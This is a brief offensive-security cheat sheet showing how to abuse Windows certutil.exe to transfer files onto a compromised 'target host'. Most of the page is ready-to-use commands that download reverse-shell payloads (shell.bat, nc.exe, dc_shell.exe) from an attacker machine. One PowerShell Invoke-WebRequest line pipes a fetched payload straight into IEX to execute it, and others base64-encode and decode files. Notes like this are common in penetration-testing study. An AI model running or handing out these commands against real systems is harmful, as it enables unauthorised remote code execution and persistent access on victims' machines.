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certutil

certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.

Import a file: (from a windows target host)

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certutil.exe -urlcache -split -f http://$ipAtacker:8080/shell.bat shell.bat

certutil.exe -urlcache -split -f http://192.168.45.172:8000/nc.exe "C:\Users\tony\Desktop\nc.exe"

certutil.exe -urlcache -split -f http://172.16.8.120:6666/dc_shell.exe dc_shell.exe

Invoke-WebRequest http://172.16.8.120:8765/dc_shell.exe -UseBasicParsing | IEX

Encode to base64:

certutil -encode file1 encodedfile

Decode a file

certutil -decode encodedfile file2
Last update: 2026-06-30
Created: May 18, 2025 16:41:27